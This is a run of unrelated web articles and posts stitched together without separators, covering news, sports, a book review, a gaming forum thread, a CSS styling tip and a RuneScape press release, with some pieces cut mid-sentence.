“Just got a notice, called and got an answering machine,” said Loewen. “We thought we were fortunate escaping the fire but it’s just delayed reaction to eventual eviction.”
“Why do you think they’re doing this?” we asked.
“Money. Pure greed,” he said.
The Sonoma County District Attorney didn’t know about the evictions until we brought it to their attention.
It’s currently investigating 140 cases of price gouging since the fires. In most cases, landlords are kicking people out to raise the rent.
“We believe it’s against the law to give someone a notice to vacate if your intention, your purpose in doing that is to hike the rent up,” said Ronit Rubinoff, Executive Director of Legal Aid of Sonoma County.
Rubinoff is working with people like Loewen to fight no-cause evictions.
“Overall, we’ve seen a 20 percent increase in eviction notices that have come in the door just since the fire.”
Rubinoff pointed out Santa Rosa already had a housing crisis before the fire. She says she’s not surprised to see landlords taking advantage of this situation.
“We want to make sure it’s not happening. The only way we can help is if people step forward,” she said.
We reached out to the lawyers who served the eviction notices. They told us they had no comment.
We also reached out to property managers here at Hopper Lane and did not receive a response.Most hockey helmets on the market weren't adequate to reduce the risk of head injuries when an experimental new measurement was used.
When researchers at Virginia Tech’s biomedical engineering and mechanics department bought and tested 32 helmets under various impacts, one helmet earned three out of five stars, a "good" rating.
There is no concussion-proof helmet, the researchers stressed. The aim is to have helmet manufacturers lower head acceleration and reduce the risk and number of concussions a player suffers over a season, said study author Stefan Duma, head of Virginia Tech's department of biomedical engineering.
A total of 25 out of 33 helmets tested failed to achieve an "adequate" rating of two stars out of a possible five.
The university's findings included:
1 helmet earned three stars, or “good” — the Warrior Krown 360 ($79.98 US).
6 helmets earned two stars or “adequate” ($34.99 to $159.99 US).
16 helmets earned one star ($26.98 to $269.99 US).
9 helmets earned no star ($39.99 to $119.99 US).
The Hockey STAR (summation of tests for the analysis of risks) formula was designed to evaluate helmets based on the rotational acceleration that occurs when the head turns on impact, as well as linear acceleration, or motion in the direction of the impact. Concussion is more related to rotational acceleration, neurosurgeons say.
Currently, helmets and helmet safety standards are designed to protect against injuries such as skull fractures. But better designs are possible, said Duma.
"They are what we took from the football world, where they are a little bigger, they have a larger offset, they have a different style of padding," Duma said. "We're going to be interested to see the consumer acceptance of that, but it is very much possible."
Cost had no correlation with a helmet’s safety rating.
The best way to consider the differences in helmets is by acceleration, Duma said.
The STAR formula considers level of impact, which is not the way helmets are currently certified, Alan Ashare, president of the Hockey Equipment Certification Council, told CBC News. Ashare said the council is interested in the research.
Discussing the report in an interview with CBC News, sports medicine physician Dr. Paul Echlin, of Burlington, Ont., stressed the value ofeducating young players and enforcing non-contact playto reduce impacts.
Changing player behaviour, such as enforcing elbowing penalties, reduces the number of times a player is hit and the likelihood of sustaining a concussion, said Mike Oliver, executive director of the National Operating Committee on Standards for Athletic Equipment.
The independent U.S. group does research and recommends improvement in sports equipment.
Blaine Hoshizaki, chair of the International Standard Committee for ice hockey equipment in Ottawa, took issue with how the measurements were made in the study, suggesting the lab tests don't replicate the variety of impacts encountered in an actual game.
CSA-approved helmets were developed to prevent major fractures and lethal bleeds, Echlin said. But the relationship between helmet design and concussions is unknown.
Hockey Canada spokesman Francis Dupont said it will continue to monitor new research and rely on the expertise of those involved with helmet quality control and the companies responsible for manufacturing helmets.LINDEN -- As former city officer Pedro Abad's drunk-driving case returns to court Monday, city officials have released details of decisions and timing surrounding his dismissal from the police department.
Abad is charged in the off-duty crash on March 20 in Staten Island in which fellow officer Frank Viggiano and Linden resident Joseph Rodriguez were killed and another Linden officer, Patrik Kudlac, was critical injured.
Abad, who was also critically injured in the crash, remained on the force for another six months, until September when he was suspended shortly after Staten Island authorities announced he had been indicted. He was unable to work during that six months because of his injuries, but remain on the force, according to the department.
Three months later, in early December, Linden police announced that Abad had been dismissed from the force retroactive to Aug. 13.
Linden had filed administrative charges against Abad in August, city attorney Daniel Antonelli told NJ Advance Media in the first comments made about the municipality's handling of the case.
Last August, Antonelli said, the city informed Abad that he faced administrative charges because he had used up all accrued sick time and other time off, and he was unable to perform his duties. Abad continues to receive treatment for injuries suffered in the crash.
Antonelli said Abad was officially dismissed Oct. 29, with the termination effective as of the date of the Aug. 13 administrative charges.
Labor attorneys familiar with law governing public employees say municipalities often will wait for a pending criminal investigation to be completed before taking disciplinary action.
"Six months does sound like a long time, but I'm not surprised," said Andrew Oddo, an Oradell attorney who has been dealing with public employee labor law for more than 15 years.
Waiting for the Staten Island District Attorney to file criminal charges against Abad gave Linden more leverage to support a suspension, Oddo said.
"It's possible they (Linden) didn't want to pull the trigger too early, until something as serious as an indictment comes down," he said.
State Civil Service regulations give employees rights to challenge any disciplinary action, such as being suspended without pay, Oddo said.
Linden may have been able to suspend Abad before the indictment, based on the allegations of the drunk-driving crash, said labor attorney Arthur Thibault, but the officer would then be entitled to a hearing where the city would have been required to prove the allegations.
"There's a lot of questions of what did Linden know and when did they know it," the Basking Ridge lawyer said. "If Linden doesn't have the proof, then their hands are tied."
Thibault questioned why Staten Island authorities waited so long to file charges.
"I can't understand why this thing was dragging," he said.
Antonelli said the municipality followed all the legal requirements.
"The city moved as expeditiously as it could under the law to remove Officer Abad," Antonelli said. He said Abad has not notified the city of any plans to appeal the charges.
Linden police, when asked about charges against Abad, have referred all questions to Antonelli. The Linden PBA representing city officers has previously declined to comment on the case.
Abad has pleaded not guilty to charges of aggravated vehicular homicide and manslaughter, as well as other allegations included in a 27-count indictment from the March 20 accident. Abad, Viggiano, Rodriguez and Kudlac had been at a Staten Island strip club, Curves, until the early morning hours of March 20. Shortly before 5 a.m., Abad was driving back to New Jersey when he made a wrong turn and drove the wrong way on a highway, crashing head-on into a tractor-trailer.
Abad is expected in Supreme Court in Staten Island on Monday for a hearing about tests done on his blood sample. His attorney, Mario Gallucci, has suggested that dancers at the club secretly drugged Abad with GHB to make him more willing to spend for drinks or give large tips.
Prior to the Staten Island accident, Abad had twice been charged with drunk-driving for accidents in Rahway and Roselle. The Roselle charge was dismissed after Abad's attorney failed to receive evidence from Roselle police, but Abad pleaded guilty to the charge from the Rahway accident.
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Tom Haydon may be reached at thaydon@njadvancemedia.com. Follow him on Twitter @Tom_HaydonSL. Find NJ.com on Facebook.SpaceDrake said: Y'know what? I'm down. EO1 is virtually unplayable compared to EO3 or 4 at this point. So many little things make the newer games better.
If they take EO4 mechanics and bolt it on to the honestly neat EO1 story and still keep the overall difficulty while keeping the quality-of-life improvements from EO4, I am there day one. Click to expand...
Spoiler don't even hide the twist this time and actually try to build off of it with the whole game, though I guess we have Numenera coming up for something similar in that regard.
Alex said: I think they should roll a select-able soundtrack, ala Cladun or something. Both the chiptunes and the modern renditions are really good. Click to expand...
Hellraider said: I am almost always very positive with remakes/enhanced ports etc. but this feels too pointless.Just like the devil survivor ones.
Oh well, will probably get hyped as fuck when I watch some gameplay anyway. Click to expand...
It'd be even more interesting to me if theySounds like the kind of thing that could go badly, but Atlus games have generally been pretty good for story, lunacy in the original Trauma Center aside (and that's really more of a GAMEPLAY disappointment) so I'm cautiously optimistic.By the way, this was in the old thread that just got locked but that Spencer guy on Siliconera needs to stop being so damn presumptuous and use the actual JAPANESE name of a game and just note what it'd probably be translated to. Not like I'd want him to write katakana in the Latin Alphabet or something that absurd, but if there isn't an official English title then you're practically making up a name.I have to admit, with a remake that sounds this extreme it'd actually be disappointing if you ONLY had the original FM soundtrack. I definitely want an arrangement whether or not the original FM's there (though it'd be preferable to be there!)... Incidentally, while I can't expect to see this it'd be nice if these games started including the original as an extra, assuming it can even easily be done here.The Devil Survivor were relatively young before they updated. This game's actually about 6 years old now, which isn't too bad for an update time.In Jonathan Dee’s thoughtful and witty new novel The Locals, set in the years between 9/11 and Occupy Wall Street, dozens of the trends and ideologies that make up our current American moment come to insistent, demanding life. Dee hits both the fun pop culture trends and the scary political ones, because he can see how closely connected they are: farm-to-table foodie culture links to rising income disparities; the rise and subsequent fall of blogs links to the splintering of the media, the surge of Fox News and rising paranoia and Islamophobia.
But the most enduring idea running through the book, the one that is perhaps most vital to the America of 2017, is the deep and profound belief held by most of the characters in The Locals that they have been conned. Somebody has screwed them out of what they deserve.
Rating vox-mark vox-mark vox-mark vox-mark vox-mark
For many of the characters — inhabitants of Howland, a scrappy small town in the Berkshires — that’s the truth. Somebody has conned them, to some extent or another. Mark Firth, a home restorer who dreams of bootstrapping his way to greatness, is conned quite literally: He loses everything in a Ponzi scheme and then has his identity stolen. Mark’s sister Candace is screwed over more imperceptibly: She finds herself caring for their aging parents with minimal help from Mark and their other brother, who managed to subtly shift the weight of responsibility onto her. At work, she gets talked into volunteering for a demotion from vice principal to science teacher.
For other characters, the well of resentment is less rational, but just as deep. Mark and Candace’s father is filled with fury for his wife because of her age and developing dementia. When she forgets to clean or cook, he feels that she has cheated him out of the retirement he meant to have, and he focuses his rage by consuming an unending stream of Fox News and conservative talk radio.
Crucially, Dee’s characters aren’t just vague avatars of rage or allegories for American political movements: All of them are rich psychological portraits, carefully grounded in their cranky small-town life. They’re all so well-defined that it’s a pleasure to watch Dee weaving in and out of their heads — in one particularly stunning sequence, he spends 50 pages switching perspectives every few pages, without ever once pausing the flow of the narrative.
But all of these specific, psychologically complex characters are still driven, in part, by the same feelings of dissatisfaction, bitterness, anger.
That sense of resentment has become fundamental to the story America tells about itself in recent years. In her book Strangers in Their Own Land: Anger and Mourning on the American Right, sociologist Arlie Russell Hochschild explains it with the image of a line of people waiting to reach the top of a hill. She elaborated on that image last year in an interview with Vox:
Think of people waiting in a long line that stretches up a hill. And at the top of that is the American dream. And the people waiting in line felt like they’d worked extremely hard, sacrificed a lot, tried their best, and were waiting for something they deserved. And this line |
into neighboring countries.
"The 10 April timeline to fulfill the Government's implementation of its commitments, as endorsed by the Security Council, is not an excuse for continued killing," Ban said, adding that such actions violate the consensus position of the Security Council.
On Thursday, the 15-member council issued a Presidential Statement calling on Syria to fully implement Joint Special Envoy Kofi Annan's six-point proposal to resolve the year-old uprising against the government of President Bashar Assad.
"The Syrian authorities remain fully accountable for grave violations of human rights and international humanitarian law. These must stop at once," Ban said in the statement.
The secretary-general has been speaking out against the violence in Syria for many months, but his remarks in recent days have been especially strong.
On Thursday Ban criticized the Assad government for unleashing attacks in response to "the legitimate demands of the Syrian people the same demands that people across the Arab world have been making for more than a year now."Get the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Arsenal are set to make an audacious move for Diego Costa.
The 25-year-old Atletico Madrid star has a £31million release clause in his contract and Chelsea are the hot favourites to sign the Brazilian-born Spain international.
Costa helped put Chelsea out of the Champions League when he scored a penalty in the 3-1 second leg win at Stamford Bridge last Wednesday.
It ensured an all-Madrid final in Lisbon on May 24 after Real demolished current holders Bayern Munich.
Chelsea manager Jose Mourinho has made no secret of his ambition to reinforce his front-line during the close season and Costa is at the top of his list.
But Arsenal are also keen and will move in if the move to Chelsea stalls.
Gunners’ manager Arsene Wenger has admitted he wants a player who can play either in place of Olivier Giroud or alongside the Frenchman.
The price would not deter Arsenal who were willing to pay £40m-plus to prise Luis Suarez from Liverpool last summer. Ahead of the clash this afternoon with West Bromwich Albion at The Emirates, Wenger said of Giroud: “Maybe we have over-played him at some stage.
“There is perhaps room for an attacking player who can play in a different position to Giroud. Someone who can play with him as well. But I do not know yet who will be on the market.”
(Image: Getty)
Costa would fit the bill, but Chelsea are clearly in pole position to sign him.
Click here to read: How Diego Costa would fit in at Chelsea.
Wenger could also move for another Atletico Madrid player called Diego – Diego Ribas da Cunha.
The 29-year-old is out of contract at the end of the season. He is on a loan deal in Madrid from German club Wolfsburg.
His deal expires in June and Wenger checked him out while Diego was at his previous club Werder Bremen.
The creative attacking midfielder has played a huge role in Atletico’s rise to within touching distance of the La Liga title in Spain as well as the Champions League final. When injuries deprived Wenger of Aaron Ramsey, Santi Cazorla and Jack Wilshere this season, Arsenal were short in midfield. Diego would add to his options.
As Arsenal close in on a fourth-place finish, Wenger made it clear he will adhere to the policy of attacking, attractive football that he introduced at the club.
(Image: Getty)
“A style is a long-term plan,” he said. “We will play to our strengths.”
And he also stressed that he will field a strong team at Carrow Road in a week’s time even if fourth place is secured and with the FA Cup final against Hull to come six days later.
Relegation-threatened Norwich will be hoping to face a shadow team but they will be disappointed.
“Our target is to reach the maximum points that we can,” he said. “And that will be the same no matter what the result is against West Bromwich.
“As Arsenal Football Club, we have a responsibility to be fair.”via 12 oz. Prophet
According to 12 oz. Prophet, Tuesday night Lewy BTM tagged the Brooklyn Bridge, something that hasn't been done for a long time. They note, "This is one of the most legendary spots in the history of graffiti. It was first painted by Smith and Sane, who were famously wanted by the FBI for vandalizing the National Landmark."
Then in the late '80s Sace and Year hit the same spot, and along with their tags left a "Fuck You" message for Giuliani.
The ledge is 119-feet over the East River—think he used rope to secure himself during the process—is that allowed in the graffiti game? Anyway, don't go looking for the Lewy piece now... it was promptly buffed.
The last big development in NYC bridge graffiti we recall was Judith Supine's piece on the Manhattan Bridge in 2007.Not sure if I’m the first to come up with this idea, but I searched and didn’t find anything. So, for a long time, I was wondering if there’s an easy way to create trapezoid shapes in CSS, especially with borders etc. Eventually, I realized that I could use a pseudo-element for the background and 3D rotate it, so that it appears like a trapezoid. Then @krofdrakula suggested on twitter that I could even add border-radius so that it looks like a tab, so I added that as well:
Eventually I thought, why not actually turn this into a tab demo? So I made a dabblet with that. And then I realized that if you change the transform-origin, other interesting tab shapes appear! Enjoy:
The best part? It degrades pretty gracefully on browsers that don’t support transforms! You get nice rounded tabs that just aren’t slanted (although they have a pretty large top padding, but you can use Modernizr for that. Try it for yourself by commenting the transform out in the dabblet and see the result.
Another issue is that the angled lines look a bit aliased in Firefox, but that’s a bug that will eventually get fixed.
In general, it’s a bit rough around the edges, so treat it more as a proof of concept. But with a little more work, it could totally work in production. Tested in Chrome, Safari, Firefox, IE9 (fallback) and IE10.(Photo via Sportal.com.au)
Emmanuel Mudiay spent most of his time atop mock draft boards just one year before graduating high school, right up there with Jahlil Okafor as the two best prospects being projected for the 2015 draft class.
The most reputable scouting services also agreed of the high ranking in the class for Mudiay. Rivals.com and Scouts.com, two of the main authorities in scouting of high school athletes in the United States, both ranked him as the 2nd best prospect coming out of high school in 2014.
Then Mudiay made a major decision that affected his basketball career and changed his standing in his class. Mudiay, who had committed to play for Larry Brown at SMU decided to play in the professional league of China to help his family financially. A decision that at the time seemed like a no-brainer for him considering his circumstances.
From a basketball perspective, the point was made that playing professionally against grown men who have years of experience would better prepare him for the NBA and that his play, if he excelled, would have more credence than those competing in college in the eyes of NBA scouts and executives. Well, as it turned out that didn’t happen.
Mudiay did play well in his rookie campaign in the China professional league, but due to injury only played in 12 games which didn’t help his stock by compiling less game film to dissect. Mudiay averaged 18 points, 6 rebounds, 6 assists and shot 47.8 percent from the field. Impressive stat line for an 18 year old rookie playing in a foreign land against seasoned players, many of which came right from the NBA such as Will Bynum (Mudiay’s teammate), Metta World Peace, Hamed Haddadi and Micheal Beasley, to name a few.
Despite not experiencing any major set back in his development nor any change to his physical tools when Mudiay returned from China he saw his stock drop from that top ranking he held before he left the United States.
Mudiay returned in time to take part in team work outs and inerviews. Mudiay was still 6’5, had a 6’8.5 wingspan, 8’4 standing reach and even added some solid muscle to his 200 pound frame making him an imposing figure for an NBA point guard even at the age of 19.
Mudiay’s scouting report from high school was still on point: Incredibly strong, quick, great height, girth, strength and athletic ability for a player at the point guard position. He was the total package of physical tools with his rare combination of size, strength, quickness and being an explosive leaper.
I've actually read some reports that state Emmanuel #Mudiay is not "that" athletic.. Really? pic.twitter.com/Ajl02MDkuz — raining3s (@raining3sdotcom) June 20, 2015
Yet, when the NBA draft came Mudiay’s name was not called in the top 2 as the ranking out of high school and early mock drafts had projected.
The Philadelphia 76ers picking 3rd and New York Knicks picking 4th both needed point guards and both passed on Mudiay.
At 6 and Mudiay surprisingly still on the board the Sacramento Kings who also need a young point guard also passed on Mudiay and went with Willie Cauley-Stein, a player many had going much later in the draft.
It wasn’t until the Denver Nuggets at 7 that Mudiay is taken, a team that already has a pretty good point guard in Ty Lawson.
So why the drop?
The two best and well-mannered explanations is that the draft was just top heavy with elite talent at the top that NBA teams simply liked better and the game is moving away from ball-dominant prototypical point guard like Mudiay.
The same elite talent at the top, such as Karl-Anthony Towns, D’Angelo Rusell and Willie Cauley-Stein were ranked below Mudiay out of high school and leaped over him while he played in China.
Surely, those players could have developed in that last year to move up in the rankings, but a better reason is that their development was more widely viewed playing for big college programs and having their games televised to the masses in the U.S. Nobody in the U.S has interest in the happenings of the Chinese Basketball Association or interested in getting up early to watch games considering the 15 hour time difference in China.
The game has changed as the last four teams left in the NBA playoffs who depended on spacing and excellent outside shooting supports that point.
Mudiay is not a very good shooter at this point of his career. Mudiay shot 34.2 percent from behind the arc in China which is about average by NBA standards but biggest red flag of a poor shooter is his 57.4 percentage from the free throw line which is poor for any player, especially a guard.
While Mudiay hasn’t had great success so far with his perimeter shot, his shot is not broken by any means. Mudiay doesn’t have a Chris Dudley or Joakim Noah type of delivery; it is actually pretty mechanically sound most of the time. Most of the time being the key phrase as the issue so far is that Mudiay is inconsistent with his delivery, at times bad and at times sound. That is fixable, yet teams at the top didn’t agree.
Here is a look at Mudiay’s shooting form. Video is from a pre-draft workout shown by City League Hoops TV on YouTube.
While suspect outside shooting is definitely a concern, but if you factor it in with the entire package of ability, skills and physical tools, Mudiay still appeared to be a player worthy of one of the top 3 picks.
Summer league play in Las Vegas started on July 10th and the beginning of the “How did a team pass on this guy” narrative officially began.
Emmanuel #Mudiay has looked great so far in #NBASummer league play 4 the #Nuggets. Will teams regret passing on him? pic.twitter.com/b7oeEtZkkr — raining3s (@raining3sdotcom) July 13, 2015
So far in 2 games Mudiay has been special for the Denver Nuggets. Mudiay consistently has been penetrating defenses with ease and hitting open men all over the court, like a true point guard does. The most impressive part of Mudiay’s passing is his ability to penetrate deep in the lane, congested with defenders around him and still find open shooters camped out behind the 3-point line.
Mudiay’s size stands out immediately. At 6’5 he dwarfs most point guards at summer league assigned to guard him, both in height and girth. When a bigger guard is placed on him, he blows by them without an issue.
What else stands out with Mudiay, especially in a league filled with players being aggressive offensively in order to get the attention of team scouts, hoping for an invite to training camp, is that he doesn’t look for his own shot, instead constantly probing for the open teammate. Mudiay ranks 3rd in Las Vegas summer league play with his 7 assists per game average; however, that 7 assists doesn’t tell the correct story as he has put the ball on the money for many more assist opportunities.
Even though Mudiay doesn’t usually look for his own shot, he does score when it’s there and it will be there often with him spending so much time in the lane creating havoc on defenses where they will be forced to send the 6’5, 210 pound load to the line or watch him finish on top of them. I’ll add that when he does finish it can come from either hand.
Mudiay only got the line once on Friday against Atlanta but shot 7 free throws on Sunday against the Sacramento Kings. Mudiay finished with 19 points on Sunday against the Kings and leads the Nuggets summer league squad averaging 15 points per game.
Mudiay’s much criticized outside shot has been off when shooting from distance, shooting 11 percent on 9 shots from 3, but it’s looked good when shooting from within 15 feet, most notably in his step back shot which he’s displayed a few times. Mudiay is shooting an efficient 52.3 percent from the 2-point area (11 for 21).
You check off all the boxes with Mudiay: strength, size, length, skills, ability and from all indications is a great young man, yet teams that needed a player like him, inexplicably passed on him and the more you see him play the more it becomes harder to explain.
Now this is not a colossal plummet from the top of the projected draft board, such as the magnitude of Aaron Rodgers drop in the 2005 NFL draft, being Mudiay only fell from the top 2 to 7; nevertheless, it is a drop that I believe will go down in NBA history as one of the biggest whiffs on talent evaluation for those teams that passed on him, viewed much in the same way as that 2005 NFL draft when 23 teams regrettably passed on Aaron Rodgers, many for players we don’t even remember.
Mudiay has returned to the top of the rankings in a way, this time as the best player out of this year’s summer league bunch, right up there with Jahlil Okafor which looks eerily similar to how those 2 were ranked out of high school.
Writer & NBA fan who’s been hooked since the days of Magic v Bird. Love basketball debates without it ending in a knife fight. My BBall nickname: “Todo El Dia” (All Day.) Hit me up on Twitter @fullcourtfern or Instagram: @raining3sdotcomTDECU buys naming rights to new UH football stadium
Less than two months until it officially opens, the University of Houston's new on-campus football stadium finally has a name.
UH plans to announce Tuesday a naming-rights sponsorship agreement with Texas Dow Employees Credit Union, a person with knowledge of the situation said Monday.
The new name: TDECU Stadium.
School officials have scheduled a 2 p.m. press conference at the UH Athletic
Alumni Center to "reveal a naming gift... that recognizes the generosity of a Texas entity," according to a press released issues by the university. Financial terms were not immediately available.
UH athletic officials were not available for comment Monday.
Founded in 1955, Texas Dow Employees Credit Union is the fourth-largest credit union in Texas and the largest in the Houston area with more than 186,000 members and excess of $2 billion in assets, according to the company's website.
UH joins about a dozen Football Bowl Subdivision schools in the country who have sold naming rights to their football stadiums, among them Central Florida, Louisville, Rutgers, Texas Tech, North Texas, Wake Forest, Minnesota, California, Maryland and Boise State.
At an estimated cost of $120 million, TDECU Stadium, has a capacity of 40,000 and features 25 suites, 42 loge boxes, 766 club seats, four party patios and two open-air suite decks. All premium seating at the stadium is sold out, Jeramiah Dickey, UH's associate athletic director for external relations, said in late May.
View of the east end-zone seats of UH's new football stadium. View of the east end-zone seats of UH's new football stadium. Photo: Joseph Duarte Photo: Joseph Duarte Image 1 of / 12 Caption Close TDECU buys naming rights to new UH football stadium 1 / 12 Back to Gallery
Construction crews began installing seats a couple of months ago and recently added field goal posts. Installation of the artificial surface is expected within the next week.
UH received a $5 million gift in 2013 to keep the name John O'Quinn Field.
The Cougars open TDECU Stadium on Aug. 29 in a nationally televised game against UTSA.
joseph.duarte@chron.com
twitter.com/Joseph_DuarteNew CONCACAF Champions League format provides bigger matches sooner
With the potential of an all-MLS vs. Liga MX quarterfinals just around the corner, the tournament is giving fans what they want
The draw for the CONCACAF took place Monday night and, in a pleasant contrast from previous editions, there actually are enticing matchups.
That's somewhat unfair to the previous format, and a bit dismissive of the smaller teams that challenged bigger clubs in past editions. Yet, with two enticing games — with's largest clubs facing off against some of's best — and the potential for an all-Mexico against all- quarterfinal round, the CCL is shaping up to be a tournament that demands attention.
That hasn't been the case in the early stages of the CCL, and by the latter stages fans seem so checked out there's hardly any intrigue. This time we get to the bigger matchups sooner, with the CONCACAF League serving as a barrier to entry for smaller teams in Central America and the Caribbean.
Article continues below
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While a few of the round of 16 matchups should be relatively easy for MLS teams, even ones still working the dust off during the preseason, the quarterfinals will be far more demanding. Tijuana, facing Motagua, and Chivas, against Caribbean side Cibao, also escaped harm, but Tigres and Club America will be tested.
Although Saprissa is not in its best form, the club will be motivated by missing the Costa Rican final and may make significant changes this winter to get back on top. Herediano has not yet won the crown but won the regular season and may have the strongest roster in Central America.
Costa Rican clubs also harbor plenty of frustration about being in Pot 2 in the first place. Both clubs have CCL successes, and while the new CONCACAF coefficient will bring justice to teams that show their quality over time, that doesn't ease the pain the Ticos are feeling right now, drawn against two of the competition's toughest sides. While both Saprissa's opponent, Club America, and Heradiano's familiar foe, Tigres, are deep teams, the CCL will demand that the Liga MX managers send out quality sides — or risk the embarrassment of elimination in the first round.
Taking the competition seriously really should not be a question, and perhaps in the new format it won't be. Making it to the final would add just eight games to your calendar, and even in the round of 16 teams know they can't take a match off. There may still be a few reserve sides from Liga MX teams, and if any of the big teams facing a Central America champion are able to finesse a huge first-leg win, the temptation to rotate for the second leg will be strong.
That happens even in the UEFA Champions League and the Copa Libertadores. Those tournaments are expansive because they can be. The CCL tried that and now has worked out a system that allows fans to skip the wait and go straight into compelling action.
There has been plenty of talk about a MLS-Liga MX tournament. This seems excessive when the CCL is now providing the same thing — if the teams show they deserve to be there by getting out of the first round.
The #SCCL2018 Round of 16 Match-Ups have been drawn - Don’t miss the 10th season kicking off in February 2018!
La ronda de octavos de final de la Liga de Campeones CONCACAF Scotiabank quedó definida. No se pierda la acción de la décima edición que comenzará en Febrero del 2018! pic.twitter.com/bUd0PnrHR2 — THE CHAMPIONS (@TheChampions) December 19, 2017
The biggest barrier to the Champions League becoming successful has been Mexican dominance. That's no fault of Liga MX teams, but rather MLS and other leagues failing to break through and win the tournament a single time. If the potential Mexico vs. MLS quarterfinals all come to pass and all four Mexican teams progress, this new-look CCL would appear very similar to the old-look tournament that struggled for eyeballs. Who wants to watch a glorified Copa MX?
It's on teams from outside Mexico to make things interesting, whether that's Saprissa and Herediano pulling surprises in the round of 16 or an MLS team or two breaking through. CONCACAF has done what it can, and the draw has set up to be an enjoyable tournament. Hopefully the teams can give us one.The Pentagon press secretary confirmed that about $300,000 a year is spent on reading the body language of world leaders, including Russian President Vladimir Putin and former Russian President Dmitry Medvedev.
While it is vague which other world leaders are included in this particular portion of the budget, Putin has definitely been a part of this study. The purpose is to analyze any information that can be gleaned from the subtle gestures and body movements of the leaders.
The program started in the U.S. State Department but was taken over by the U.S. Department of Defense in 2002. It is now run by the Office of Net Assessment, which is a think tank under the DoD. Putin has been analyzed in 2008, the same year as the Russian invasion of Georgia, and 2012, when tensions over Syria came to a head. The analysis has not been used to inform a response to Russia over the crisis in Ukraine.
The findings actually have never been used to form any foreign policy defense decision. The Pentagon says the findings are not classified, but they have no plans to release them.
[GeoBeats]THUNDER BAY -- A partnership that's described as unique and the first of its kind in Thunder Bay has been formed to help people at acutely-elevated risk of imminent harm, victimization or criminalization.
Details of the Thunder Bay Situation Table will be announced at a news conference on Nov. 7.
The community-led initiative brings together approximately 30 representatives of various sectors including mental health and addictions, justice, police, social services, employment and education.
It's chaired by Mariah Maddock of the Thunder Bay branch of the Canadian Mental Health Association.
The Thunder Bay Police Service's recent annual report stated that police have been directly involved in the design and eventual implementation of the Thunder Bay Situation Table, including Indigenous policing partners. It said outreach to potential community partners also included the Indigenous Friendship Centre, Dennis Franklin Cromarty High School and the Fort William First Nation.
The Canadian Mental Health Association has noted that some Situation Tables in the province are modelled after a project in Saskatchewan and "provide an integrated approach to reduce crime, emergency room visits and calls for police service by addressing the needs of individuals and families at risk."
Two years ago, in a speech in which he talked about the need to change how policing is done and adopt a community-centred focus, Ontario Attorney-General Yasir Naqvi described Situation Tables as a model that's working.
"Multi-disciplinary partnerships produce better results at lower costs to each organization...These kinds of initiatives move away from the old one-size-fits-approach and allow communities to identify their risks, mobilize the proper resources, and proactively and collaboratively make their communities safer," the CMHA quoted Naqvi as saying.NSA whistleblower points to ‘extraordinary change’ in attitudes as he notes that Democratic candidates for US president did not call him a traitor
Edward Snowden has described the Democratic presidential debate last month as marking an “extraordinary change” in attitudes towards him.
In a lengthy interview with Sweden’s Dagens Nyheter published on Friday, Snowden said he had been encouraged by the debate between Hillary Clinton and Bernie Sanders, her main challenger for the Democratic nomination.
Hillary Clinton and Bernie Sanders call for Edward Snowden to face trial Read more
During the televised encounter, both candidates called for Snowden to face trial, but Sanders said he thought the NSA whistleblower had “played a very important role in educating the American people”.
That marked an important shift in the US debate over Snowden’s action, he said.
The former National Security Agency analyst said it had taken 30 years for Daniel Ellsberg, who leaked the Pentagon Papers about the Vietnam war, to shift from being described regularly as a traitor.
But not once in the debate had Snowden been referred to as a traitor.
Snowden, who is living in exile in Moscow after leaking tens of thousands of secret documents from the NSA and its sister agency in the UK, GCHQ, said: “I did see the debate live. It was actually extraordinarily encouraging. In 2013, they were calling for me to be hanged. They were using the word ‘traitor’ and things like ‘blood on your hands’.
“Nobody on the stage, as far as I know, used the word traitor now. In just two years, that’s an extraordinary change.”
In the debate, Clinton said that Snowden had violated US law and should face trial.
Sanders also suggested that he ought to be tried. “I think there should be a penalty to that,” he said. “But I think that education should be taken into consideration before the sentencing.”
Snowden, asked if he would vote, said he would definitely try, even if only as a symbolic gesture.
Snowden surveillance revelations drive UK and US policy in opposite directions Read more
“I’ll send them my vote by mail. It’s not like it will count in a meaningful way because such a small portion of the votes come by mail. But that’s not the point; the point is the expression of it,” he said.
Snowden, who in the past supported the Republican Ron Paul, was asked if he would vote for Clinton or Donald Trump. He laughed, declining to comment on the grounds that it would be too inflammatory.Update: Make sure you see the BTS video #2.
The good stuff:
Members-only Beta runs from June 26th to September.
Members can start signing up on June 1.
JAGEX ANNOUNCE THE EVOLUTION OF COMBAT - THE NEXT
GENERATION OF RUNESCAPE COMBAT
RUNESCAPE’S LARGEST EVER UPDATE TO LAUNCH AS LIMITED-ACCESS BETA ON 26TH JUNE
Friday 18th May 2012, Cambridge, UK – Jagex, makers of RuneScape, the World’s most popular and multi-
award winning free-to-play massively multiplayer online adventure game, today unveiled the first details of
the upcoming RuneScape combat update: The Evolution of Combat.
The Evolution of Combat project will see the biggest change in any system in RuneScape’s history. By bringing
this eagerly anticipated update to life, Jagex will be completely redesigning RuneScape’s combat system to
offer players an even more immersive and involving experience. On release, the Evolution of Combat update
will completely revolutionise the way players fight and interact in game.
“It’s impossible to downplay the significance of this update,” stated Mark Ogilvie, RuneScape’s lead designer.
“A rework of the combat system has been the most requested update from our community, and thousands
of man hours have gone into developing a more fluid, interactive and tactical combat system. The Evolution of
Combat update will fundamentally change the way people play and view RuneScape forever.”
Due to the game-changing nature of the release, RuneScape members will have the opportunity to be
among the first to trial the new system with a limited access closed beta; the first in the game’s history. Beta
registration will open to all RuneScape members on 1st June in preparation for the first beta entry on 26th June.
The beta will run from 26th June until September and will allow testers the exclusive chance to preview the
expansion before the rest of the world.
Speaking about the beta, Mark Ogilvie continued, “We have always valued the views and feedback our
community which is why we are so excited to be launching this game-changing update with a members’
beta. By introducing this update with a limited-access beta, we are able to interact with our community in
a completely new way and offer our members the chance to try the new features first, helping to shape the
future of one of the most important elements of the game. I know players won’t want to miss out on the
chance to take part in this exclusive opportunity, so be sure to register your interest when registration opens
on 1st June.”
Further details of The Evolution of Combat update will be unveiled in due course, and those wishing to keep up
to date with the latest announcements are encouraged to visit www.RuneScape.com Players wanting to take
part in the exclusive access beta will need to be an existing member or sign up to RuneScape membership by
the 1st June, and continue to be a member through the beta period.Later this month, Neil Young will release The Monsanto Years, an album with his new band Promise of the Real, which features Willie Nelson's sons Lukas and Micah Nelson. The Monsanto Years is a protest album about the food industry giant, and features songs that are critical of a number of large corporations.
